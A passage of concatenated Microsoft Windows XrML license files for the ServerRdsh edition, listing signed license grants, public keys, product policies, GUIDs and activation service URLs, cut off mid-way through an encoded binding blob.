xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>cOTu6jq8id/jym7VQ4qGQVXGO5o=</DigestValue></Reference></SignedInfo><SignatureValue>KqsxyIcgUgf6BD9Iy/8OWBE6HfP+ACE3gn3cIjpwOpxiIL3a/uPCjPVcfFbkDRNE6Q7SuoHUE8SvQXOI60HvkJHh8wnKDq9pQOOUBssgDQTUMtgESXUVsEcGMO9zHK/3lNsW7r+lZHvhNWCiGbufx4/mS7XZa2gVCnPmH6xy/sfgCxkYWA+xcvSxe+8m6pzay84vKpdtzpkP1WLQz9j1h0QUWvQXm+bpuZHF1tKVwUBO2JNYb6zEwwvtCc2AdqItBNmVAwG/tt7ByAm8VZjKKGqnfVm3MTxxdl/+PCsFnPq0fFxIaRiEyQhTxJT3KKCkQS7+ywNvDZ5DHwEVMV8A6g==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/PL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/PL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="publicCertificateId">{6db7f927-7d9e-4c4a-b70c-ea62c1165bdc}</tm:infoStr><tm:infoStr name="clientIssuanceCertificateId">{4961cc30-d690-43be-910c-8e2db01fc5ad}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="win:branding">175</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{14dbbf33-afbb-40ad-a0dc-cb22eab0c81e}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ServerRdsh"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-Core-THQAEnabled" attributes="override-only">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ServerRdsh</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-GraceTimerUniqueness" attributes="override-only">EditionId</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-ValidityTimerUniqueness" attributes="override-only">EditionId</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{fa755fe6-6739-40b9-8d84-6d0ea3b6d1ab}"></sl:productIdRange></r:allConditions></r:grant><r:grant><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId><sl:guid>{55c92734-d682-4d71-983e-d6ec3f16059f}</sl:guid></sl:appId><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>501</sl:priority><sl:policyInt name="Security-SPP-Reserved-NotificationGrantConsumed" attributes="override-only">1</sl:policyInt></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{fa755fe6-6739-40b9-8d84-6d0ea3b6d1ab}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAADAAAA</sl:data></sl:externalValidator><sl:floatingPeriod xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:duration>P0D</sl:duration><sl:type>msft:sl/grace-period</sl:type></sl:floatingPeriod></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>OOarrLNxd70hx1D2Q3VdFRUtz3w=</DigestValue></Reference></SignedInfo><SignatureValue>fmfrJHjh43ddoaSJ1b4s6t6GiaBjwirDiuaf3ax+al+qRPrGyGm0Xto1rK9tJ3NFL+douHJPRI+egfaA9CrwdwQ6PhfDJGqHp2boKclc5BbZfSf3QqusShEAIAb5dxuptT1CxWiO5Q+wSwHYrvc04LGSMrG9FN0XqvT1f94PZtLnVXD5xCf2Ey8NwwpZfBsr0Ti62JljFYb9yeMYCWt+9yOu7ia+pE4KhPYyt3XuFTKyKSDDLgiEq5sF3jRd1JI+RwYNYnw/C67QZInyuXzUWU+eyjFTMiOzdhjFtlXNT3wswX6q1b2wa5MR5i5dfVwyCyoyzhFOzg2g5cf2fdCjzQ==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{fa755fe6-6739-40b9-8d84-6d0ea3b6d1ab}</tm:infoStr><tm:infoStr name="privateCertificateId">{ace97037-099a-4796-a059-c56d0f30fe20}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{06a4dd30-84b7-4fd2-b859-f1eddb0858f5}</tm:infoStr><tm:infoStr name="productName">Windows(R), ServerRdsh edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, OEM_COA_NSLP channel</tm:infoStr><tm:infoStr name="PAUrl">https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail</tm:infoStr><tm:infoStr name="ActivationSequence">msft:spp/licenseacquisition/payloadhandler/pa/1.0</tm:infoStr><tm:infoStr name="ValidationTemplateId">{99d92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="ValUrl">https://validation-v2.sls.microsoft.com/SLWGA/slwga.asmx</tm:infoStr><tm:infoStr name="UXDifferentiator">OEM_COA_NSLP</tm:infoStr><tm:infoStr name="Family">ServerRdsh</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="EnableNotificationMode">1</tm:infoStr><tm:infoStr name="GraceTimerUniqueness">EditionId</tm:infoStr><tm:infoStr name="ValidityTimerUniqueness">EditionId</tm:infoStr><tm:infoStr name="EnableActivationValidation">1</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{ace97037-099a-4796-a059-c56d0f30fe20}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>wgnKPp/9pF5BQ9olT5dkW+aBxzE=</DigestValue></Reference></SignedInfo><SignatureValue>jjPAMfmg7i5Zap4iSZRkrsci0e9xgaTe8KmWlc3JaoJFXQTLt7W2YyPmXhb5wYqUiHRaReIBpwOMj2lUzZO4We/2oEojtkPCDZjLpZoGz2lzRUtdVqIPcFIYJi2jkjDHwPpBqcHtFvWuzfa+ZYtIiDLsR6FELrwHqYbtOYylVCsIcs9V5xcA7q8uF/4K4MTJwDkTt6xYfkxCbf2MI18mmERuxRZZahUYGkPI4Z+LzJVAVSjeFmG8VJLerVzejQHembrTmRp4l0L5GFqZ3FSz2fQ89gGx1/b5er+Vbr2R5ix0iNMuqHCYXRqnIaOEyGqGzVpiF3Tliqktmv/OKAHQMg==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{14dbbf33-afbb-40ad-a0dc-cb22eab0c81e}</tm:infoStr><tm:infoStr name="productSkuId">{fa755fe6-6739-40b9-8d84-6d0ea3b6d1ab}</tm:infoStr><tm:infoStr name="win:branding">175</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{8f36b184-1a5b-4e8f-be5b-4ba6a6fb921a}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL phone License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ServerRdsh"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-Core-THQAEnabled" attributes="override-only">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ServerRdsh</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:binding><sl:data Algorithm="msft:rm/algorithm/phone/1.0">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